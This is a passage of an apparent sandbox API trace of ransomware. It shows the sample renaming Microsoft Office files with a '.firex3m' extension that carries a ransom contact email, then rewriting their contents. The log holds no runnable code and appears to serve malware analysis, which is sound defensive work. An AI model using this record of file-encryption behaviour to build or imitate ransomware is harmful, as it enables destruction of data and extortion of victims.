lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI24F0~1.FIR")) returned 0x6d5280 [0177.423] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.423] GetProcessHeap () returned 0x630000 [0177.423] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c970 [0177.424] GetProcessHeap () returned 0x630000 [0177.424] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0177.424] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.424] ReadFile (in: hFile=0x678, lpBuffer=0x67c970, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c970*, lpNumberOfBytesRead=0x5d7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.477] GetProcessHeap () returned 0x630000 [0177.477] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0177.477] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.477] WriteFile (in: hFile=0x678, lpBuffer=0x67c6a8*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesWritten=0x5d7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.477] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.477] WriteFile (in: hFile=0x678, lpBuffer=0x67c927*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c927*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.477] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.478] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.478] CloseHandle (hObject=0x678) returned 1 [0177.478] GetProcessHeap () returned 0x630000 [0177.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0177.478] GetProcessHeap () returned 0x630000 [0177.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c970 | out: hHeap=0x630000) returned 1 [0177.478] GetProcessHeap () returned 0x630000 [0177.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0177.478] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fbade0d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2af, dwReserved0=0x5d7fd20, dwReserved1=0x67c970, cFileName="VISIO_PRM_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI24F0~1.FIR")) returned 0x6d5280 [0177.478] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.478] Sleep (dwMilliseconds=0x1) [0177.484] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD", len=0x3e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD") returned 1 [0177.484] GetProcessHeap () returned 0x630000 [0177.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2abc) returned 0x707d3d0 [0177.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0177.506] CloseHandle (hObject=0x6dc) returned 1 [0177.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4809621, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4809621, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4809621, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VALVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VALVEV~1.FIR")) returned 0x6d5580 [0177.507] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0177.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0177.508] GetProcessHeap () returned 0x630000 [0177.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x761) returned 0x67a7c0 [0177.508] GetProcessHeap () returned 0x630000 [0177.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x761) returned 0x713ced0 [0177.508] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.508] ReadFile (in: hFile=0x6dc, lpBuffer=0x67a7c0, nNumberOfBytesToRead=0x740, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67a7c0*, lpNumberOfBytesRead=0x5d7ff0c*=0x740, lpOverlapped=0x0) returned 1 [0177.583] GetProcessHeap () returned 0x630000 [0177.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0177.583] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.583] WriteFile (in: hFile=0x6dc, lpBuffer=0x713ced0*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ced0*, lpNumberOfBytesWritten=0x5d7ff0c*=0x740, lpOverlapped=0x0) returned 1 [0177.583] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.584] WriteFile (in: hFile=0x6dc, lpBuffer=0x713d60f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713d60f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.584] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.584] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.584] CloseHandle (hObject=0x6dc) returned 1 [0177.584] GetProcessHeap () returned 0x630000 [0177.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x713ced0 | out: hHeap=0x630000) returned 1 [0177.584] GetProcessHeap () returned 0x630000 [0177.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67a7c0 | out: hHeap=0x630000) returned 1 [0177.584] GetProcessHeap () returned 0x630000 [0177.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0177.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4809621, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4809621, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fcb052b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0xaf87496, dwReserved1=0x67a7b8, cFileName="VALVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VALVEV~1.FIR")) returned 0x6d4e40 [0177.584] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.584] Sleep (dwMilliseconds=0x1) [0177.696] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr", len=0x44 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr") returned 1 [0177.696] GetProcessHeap () returned 0x630000 [0177.696] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aac) returned 0x707d3d0 [0177.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.697] CloseHandle (hObject=0x714) returned 1 [0177.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47bd0fa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47bd0fa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x47bd0fa, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x34adc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeVisio.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~2.FIR")) returned 0x6d4f00 [0177.698] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0177.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.698] GetProcessHeap () returned 0x630000 [0177.698] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c9900 [0177.698] GetProcessHeap () returned 0x630000 [0177.698] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d4d30 [0177.698] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.698] ReadFile (in: hFile=0x714, lpBuffer=0x70c9900, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c9900*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.541] GetProcessHeap () returned 0x630000 [0187.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0187.542] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.542] WriteFile (in: hFile=0x714, lpBuffer=0x70d4d30*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d4d30*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.543] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.543] WriteFile (in: hFile=0x714, lpBuffer=0x70e012f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e012f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.544] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.544] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.544] CloseHandle (hObject=0x714) returned 1 [0187.544] GetProcessHeap () returned 0x630000 [0187.544] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d4d30 | out: hHeap=0x630000) returned 1 [0187.545] GetProcessHeap () returned 0x630000 [0187.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c9900 | out: hHeap=0x630000) returned 1 [0187.545] GetProcessHeap () returned 0x630000 [0187.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0187.545] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47bd0fa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47bd0fa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x35bc895a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x34b00, dwReserved0=0xaf87496, dwReserved1=0x70c98f8, cFileName="TellMeVisio.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~2.FIR")) returned 0x6d5280 [0187.546] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0187.546] Sleep (dwMilliseconds=0x1) [0187.594] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", len=0x4f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx") returned 1 [0187.594] GetProcessHeap () returned 0x630000 [0187.594] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29a4) returned 0x707d3d0 [0187.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0187.595] CloseHandle (hObject=0x678) returned 1 [0187.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BWCLAS~1.FIR")) returned 0x6d54c0 [0187.682] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0187.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0187.683] GetProcessHeap () returned 0x630000 [0187.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ec1) returned 0x7292f60 [0187.683] GetProcessHeap () returned 0x630000 [0187.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ec1) returned 0x7295e30 [0187.683] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.683] ReadFile (in: hFile=0x678, lpBuffer=0x7292f60, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7292f60*, lpNumberOfBytesRead=0x5d7ff0c*=0x2ea0, lpOverlapped=0x0) returned 1 [0189.860] GetProcessHeap () returned 0x630000 [0189.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0189.860] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.860] WriteFile (in: hFile=0x678, lpBuffer=0x7295e30*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7295e30*, lpNumberOfBytesWritten=0x5d7ff0c*=0x2ea0, lpOverlapped=0x0) returned 1 [0189.861] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x678, lpBuffer=0x7298ccf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7298ccf*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.861] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.861] CloseHandle (hObject=0x678) returned 1 [0189.861] GetProcessHeap () returned 0x630000 [0189.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7295e30 | out: hHeap=0x630000) returned 1 [0189.861] GetProcessHeap () returned 0x630000 [0189.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7292f60 | out: hHeap=0x630000) returned 1 [0189.861] GetProcessHeap () returned 0x630000 [0189.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0189.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x371d0817, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ed4, dwReserved0=0xaf87496, dwReserved1=0x7292f58, cFileName="bwclassic.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BWCLAS~1.FIR")) returned 0x6d5280 [0189.862] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.862] Sleep (dwMilliseconds=0x1) [0191.980] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio 